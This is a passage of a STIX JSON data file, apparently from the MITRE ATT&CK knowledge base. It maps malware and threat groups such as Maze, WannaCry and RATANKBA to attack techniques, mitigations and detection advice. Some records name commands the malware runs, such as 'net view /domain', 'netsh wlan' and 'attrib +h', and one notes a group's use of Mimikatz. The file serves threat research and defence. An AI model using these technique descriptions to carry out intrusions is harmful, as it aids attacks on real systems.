2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can download additional tools to enable lateral movement.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T13:19:01.109Z","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6d9f305-bd14-4d86-939d-781aaf512e32","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for newly constructed files via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging. Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5782aac5-a4c6-4d17-88c9-e29b795e3ee7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"},{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.832Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) can terminate a specific process by its process id.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f3d9b76-bec9-4cee-9a9b-1c42f373ec86","type":"relationship","created":"2020-05-18T17:31:39.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.399Z","description":"[Maze](https://attack.mitre.org/software/S0449) has used the \"WNetOpenEnumW\", \"WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W” functions to enumerate the network resources on the infected machine.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f365854f-76e6-4746-bab8-2f2b94b50087","type":"relationship","created":"2019-06-20T15:39:37.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-25T18:13:18.680Z","description":"Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification.","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f7f05aa-a246-48ce-89d2-48035cac5ffa","type":"relationship","created":"2021-09-21T15:10:56.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.091Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can download malicious files from threat actor controlled AWS URL's.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-16T16:56:45.651Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DLL side-loading.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1c20b2c-0ae0-4ee4-863f-c82624fbcfe1","type":"relationship","created":"2021-03-30T17:20:05.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-03-30T17:20:05.938Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dfdcec6-82b7-42a4-902a-3220f4d67bcf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.857Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) runs the <code>net view /domain</code> and <code>net view</code> commands.(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a498d3ae-f944-4ad0-af8e-f92a78f04feb","type":"relationship","created":"2021-01-25T13:58:25.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:53.209Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) has used a dropper that embeds an encrypted payload as extra data.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--161c58eb-29d7-4de3-aca8-3bda085f19a3","created":"2022-04-15T15:46:02.250Z","x_mitre_version":"0.1","external_references":[{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Axiom](https://attack.mitre.org/groups/G0001) has collected data from a compromised network.(Citation: Novetta-Axiom)","modified":"2022-04-15T15:46:02.250Z","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5697b245-d888-40ab-af72-9236c6daa273","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.028Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) uses HTTP as a transport to communicate with its command server.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Win Defender Truvasys Sep 2017","description":"Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"}],"modified":"2020-03-18T16:10:03.086Z","description":"To establish persistence, [Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.(Citation: Microsoft Win Defender Truvasys Sep 2017)","relationship_type":"uses","source_ref":"malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af1e6f67-b513-42f7-b5df-dfb04b38caf6","type":"relationship","created":"2019-07-19T14:34:28.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2021-03-25T14:47:48.984Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e3c926e-4f21-40f0-b869-6b3c0e35e243","type":"relationship","created":"2020-03-09T15:42:45.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-17T17:53:50.891Z","description":"Disable legacy network protocols that may be used   to intercept network traffic if applicable, especially those that are not needed within an environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a802b910-b023-425a-8c09-c1b2df185812","type":"relationship","created":"2019-04-12T12:52:29.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}],"modified":"2019-04-22T11:43:33.563Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) uses <code>attrib +h</code> to make some of its files hidden.(Citation: LogRhythm WannaCry)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.542Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a184c95-8162-4a46-94f4-7734fe09904a","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d787947-fdaf-4fcd-938d-19b4672abfac","type":"relationship","created":"2019-09-13T17:14:47.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.235Z","description":"[Machete](https://attack.mitre.org/software/S0409) uses the <code>netsh wlan show networks mode=bssid</code> and <code>netsh wlan show interfaces</code> commands to list all nearby WiFi networks and connected interfaces.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--177a2bb5-eca3-4c81-9dfe-81e5fecb38c3","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f71229d4-5499-4eb1-ad83-b18a1063b5b7","type":"relationship","created":"2020-11-17T18:39:07.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. 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Retrieved May 26, 2020."}],"modified":"2021-10-12T21:46:13.229Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--160d9be2-967e-4116-9c75-44b5b0a8927b","type":"relationship","created":"2020-12-29T16:20:58.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec W.32 Stuxnet Dossier","url":"https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ","description":"Nicolas Falliere, Liam O. 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Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has used `cmd.exe` and batch files for execution.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T20:01:01.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69513daf-2acd-4b04-a7be-9f31174a2ae9","type":"relationship","created":"2020-06-16T17:53:18.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. 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Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f638cb6d-d725-444f-93f9-02f49b4d9383","type":"relationship","created":"2019-01-30T15:38:21.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. 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Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.446Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has been packed with junk code and strings.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78968b8c-61ed-44d9-835c-05eb5b2ab169","type":"relationship","created":"2020-10-20T03:23:24.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-15T03:28:44.677Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. 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(2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-04-20T15:52:05.764Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can implement use of proxies to pivot traffic.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aba4daa2-5022-4fe9-8359-7c0af1f58b86","created":"2021-12-27T17:40:56.746Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. 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Retrieved March 23, 2022."}],"modified":"2022-03-24T13:41:47.373Z","description":"[CaddyWiper](https://attack.mitre.org/software/S0693) can modify ACL entries to take ownership of files.(Citation: Cisco CaddyWiper March 2022)","relationship_type":"uses","source_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c958009-dae2-44b3-840f-42985b0593c9","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a54ce63d-df2d-4772-aa87-9f9e7af43473","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage information repositories to mine valuable information. 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In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63994c7c-6544-4e29-9c94-ac2237166774","type":"relationship","created":"2019-01-31T01:07:58.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved November 4, 2015.","url":"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"}],"modified":"2019-03-22T20:10:33.048Z","description":"(Citation: New DragonOK)","relationship_type":"uses","source_ref":"intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40205b23-d3d0-4d6a-a739-7ba2eb061c4f","type":"relationship","created":"2020-05-06T21:01:23.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). 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Retrieved November 30, 2021."}],"modified":"2021-12-02T14:15:49.926Z","description":"[Gelsemium](https://attack.mitre.org/groups/G0141) has used dynamic DNS in its C2 infrastructure.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"intrusion-set--99910207-1741-4da1-9b5d-537410186b51","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b095c7b-09a8-4d4a-8452-98a2f069e73f","type":"relationship","created":"2019-06-05T17:31:22.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992","description":"Caragay, R. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective 